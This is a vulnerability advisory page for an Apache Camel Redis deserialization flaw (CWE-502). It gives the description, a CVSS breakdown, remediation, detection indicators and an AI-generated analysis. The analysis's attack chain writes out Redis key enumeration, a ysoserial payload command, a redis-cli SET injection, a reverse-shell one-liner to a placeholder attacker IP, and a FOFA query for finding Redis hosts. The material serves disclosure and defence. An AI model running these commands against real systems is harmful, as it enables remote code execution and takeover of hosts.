CVE Professor
/
All CVEs
CVE-2026-133005

CVE-2026-133005 — Apache Software Foundation Apache Camel (4.18.6) — CWE-502

HIGH CVSS 8.8 CVE.org

Deserialization of Untrusted Data vulnerability in Apache Camel Redis component. This issue affects Apache Camel: from 4.0.0 before 4.18.6, from 4.19.0 before 4.22.3, from 4.23.0 before 4.24.0. camel-redis RedisAggregationRepository.doStart() built its Redisson client without setting a codec, so Redisson installed Kryo5Codec with registration not required and a JavaSerializer registered for Throwable, and every value the repository read back from Redis (at route start-up, from the aggregation interval task, and during recovery) was deserialized through unrestricted Kryo instantiation and an unfiltered ObjectInputStream, even with useRecovery=false. An attacker able to write to the Redis store used as the aggregation repository could place a crafted serialized value that leads to remote code execution when a usable gadget chain is present on the classpath. The fixed releases apply a class allow-list to the codec and an ObjectInputFilter on the Java-serialization path. Upgrade to Apache Camel 4.24.0, which fixes the issue. Users on the 4.22.x LTS release stream should upgrade to 4.22.3. Users on the 4.18.x LTS release stream should upgrade to 4.18.6.

Deserialization of Untrusted Data vulnerability in Apache Camel Redis component. This issue affects Apache Camel: from 4.0.0 before 4.18.6, from 4.19.0 before 4.22.3, from 4.23.0 before 4.24.0. camel-redis RedisAggregationRepository.doStart() built its Redisson client without setting a codec, so Redisson installed Kryo5Codec with registration not required and a JavaSerializer registered for Throwable, and every value the repository read back from Redis (at route start-up, from the aggregation interval task, and during recovery) was deserialized through unrestricted Kryo instantiation and an unfiltered ObjectInputStream, even with useRecovery=false. An attacker able to write to the Redis store used as the aggregation repository could place a crafted serialized value that leads to remote code execution when a usable gadget chain is present on the classpath. The fixed releases apply a class allow-list to the codec and an ObjectInputFilter on the Java-serialization path. Upgrade to Apache Camel 4.24.0, which fixes the issue. Users on the 4.22.x LTS release stream should upgrade to 4.22.3. Users on the 4.18.x LTS release stream should upgrade to 4.18.6.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑133005 is a Deserialization of Untrusted Data flaw (CWE‑502) in the Apache Camel Redis component.
The component uses the Redisson client to persist aggregation state in Redis. In the affected Camel releases (4.0.0‑<4.18.6, 4.19.0‑<4.22.3, 4.23.0‑<4.24.0) the RedisAggregationRepository.doStart() method builds a Redisson client without configuring a codec.

Redisson’s default codec is Kryo5Codec, which:

1. Does not require class registration – any class can be deserialized.
2. Registers a JavaSerializer for Throwable.
3. Uses an unfiltered ObjectInputStream when deserializing values read from Redis.

Because the aggregation repository reads from Redis at three points (on route startup, during the aggregation‑interval task, and during recovery), any value stored in the Redis key used by the repository is deserialized without any class‑allowlist or ObjectInputFilter.

An attacker who can write to that Redis key can inject a malicious Java‑serialized object that contains a gadget chain present on the classpath (e.g., Commons‑Collections, Log4j, or any other vulnerable gadget). When Camel reads the key, the unfiltered deserialization triggers the gadget chain, leading to remote code execution (RCE).

The fix in the patched releases adds a codec allow‑list and an ObjectInputFilter on the Java‑serialization path, preventing arbitrary class deserialization.


⚡ Attack Chain

NOTE: The following chain assumes the attacker already has write access to the Redis instance that the Camel application uses for its aggregation repository. If the Redis instance is exposed over the network, the attacker can connect directly; otherwise, the attacker must exploit an application‑level endpoint that writes to the repository.
StepDescriptionTechnical Detail
1. Discovery & ReconnaissanceIdentify the target application, its Camel version, and the Redis key used for aggregation.1. Probe HTTP headers or /actuator/info (if enabled) for a Camel version string.<br>2. Use redis-cli or a network scanner to discover the Redis port (default 6379).<br>3. Enumerate keys with KEYS * or SCAN to locate keys that match the pattern used by RedisAggregationRepository (e.g., camel:aggregation:repo:*).
2. ExploitationInject a malicious serialized payload into the Redis key.a. Generate a gadget chain payload (e.g., using ysoserial.jar):<br>``bash\njava -jar ysoserial.jar CommonsCollections4 "bash -c 'id'" > payload.bin\n`\n<br>b. Base‑64 encode the payload (to avoid binary issues in Redis):<br>`bash\ncat payload.binbase64tr -d '\\n' > payload.b64\n`\n<br>c. Write the payload to the aggregation key (illustrative example; the exact key depends on the Camel route configuration):<br>`bash\nredis-cli -h <redis-host> -p <redis-port> SET camel:aggregation:repo:myRoute <payload.b64>\n`\n<br>d. Trigger deserialization – either by restarting the Camel application, waiting for the aggregation interval task, or forcing a recovery. When Camel reads the key, the unfiltered Kryo deserialization will instantiate the gadget chain, executing the payload (id command in this example).Illustrative PoC – the exact Redis key (camel:aggregation:repo:myRoute) is an example; your target may use a different naming convention.
3. Post‑exploitationAchieve full impact: RCE, privilege escalation, data exfiltration, etc.Once the gadget chain runs, the attacker can execute arbitrary shell commands on the host where Camel runs. Typical post‑exploitation steps:<br>• Drop a reverse shell (e.g., bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1`).<br>• Escalate privileges if the Camel process runs as a privileged user.<br>• Dump sensitive data from the application or the underlying system.<br>• Install persistence mechanisms (cron jobs, systemd units, etc.).

🌍 Real World Impact

ImpactCVSS ComponentExplanation
ConfidentialityC:HArbitrary code execution allows the attacker to read any file or memory on the host, including secrets, credentials, or database dumps.
IntegrityI:HThe attacker can modify application files, configuration, or injected data, potentially corrupting business logic or tampering with logs.
AvailabilityA:HThe attacker can crash the Camel application or the underlying JVM, causing denial of service for downstream services or routes.

Practical consequences for affected environments include:

  • Data exfiltration from the application or its database.
  • Compromise of the entire host if the Camel process runs with elevated privileges.
  • Service disruption for any downstream systems that rely on the Camel routes.
  • Potential pivot to other systems on the same network if the attacker gains a foothold.

  • 🛡️ Remediation & Mitigation

    Affected Versions

    Camel MajorAffected RangeFixed Release
    4.0.0 – 4.18.54.0.0‑<4.18.64.18.6
    4.19.0 – 4.22.24.19.0‑<4.22.34.22.3
    4.23.0 – 4.23.94.23.0‑<4.24.04.24.0
    Upgrade Recommendation:
    If you are on the 4.22.x LTS stream, upgrade to 4.22.3.
    If you are on the 4.18.x LTS stream, upgrade to 4.18.6.
    Otherwise, upgrade to 4.24.0 or later.

    Workarounds

    MitigationHow to Apply
    Disable the aggregation repositoryRemove or comment out the RedisAggregationRepository bean from the Camel context.
    Restrict Redis accessEnsure only the Camel process can write to the aggregation key. Use firewall rules, Redis ACLs, or network segmentation.
    Configure a safe codecIf upgrading is not immediately possible, manually configure Redisson to use a codec that enforces class‑allowlists (e.g., JsonJacksonCodec) and set an ObjectInputFilter on the Java‑serialization path.
    Apply WAF/ModSecurity rulesWhile this vulnerability is internal to Camel, you can add generic rules that block suspicious Redis commands (e.g., SET with large binary payloads).

    Detection

    IndicatorLog PatternIoC
    Deserialization errorsjava.io.InvalidClassException or java.io.StreamCorruptedException in Camel logs.InvalidClassException
    Unexpected Redis key patternsSET camel:aggregation:repo:* with unusually large values.camel:aggregation:repo:
    Shell command executionRuntime.exec or ProcessBuilder stack traces.Runtime.exec
    Network traffic to RedisConnections from untrusted hosts to Redis port.<untrusted-host> -> <redis-host>:6379

    ⚠️ Urgency

  • CVSS Score: 8.8 (High)
  • Exploit Complexity: Low (requires only write access to Redis).
  • CISA KEV Status: No.
  • Potential Impact: Full RCE, privilege escalation, data loss, and service disruption.
Patch Priority: Critical for any production environment that uses the affected Camel releases and has a reachable Redis instance. Even if the Redis instance is isolated, the vulnerability can be triggered by any component that writes to the aggregation repository, so the risk remains high.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Redis"
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (1)
Apache Software Foundation:Apache Camel (4.18.6)
Related CVEs
9.9
CVE-2026-77526
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3
8.7
CVE-2026-130019
When a table is loaded or committed, Polaris read the table metadata file from the table's own storage and use
7.7
CVE-2026-129974
When a table was renamed into a different namespace, Polaris did not validate the table's stored locations aga
6.1
CVE-2026-130017
When a table is dropped with purge, and when old metadata files are deleted after a commit (write.metadata.del
10.0
CVE-2026-130609
Deserialization of untrusted data vulnerability in DİA Yazılım Sanayi ve Ticaret A.Ş. DİA ERP allows Cros
8.7
CVE-2026-132098
Deserialization of untrusted data in the XStream reader used for push publishing bundles (XStreamHandler) in d
8.5
CVE-2026-144447
MassCube before 1.2.23 contains an insecure deserialization vulnerability that allows attackers to execute cod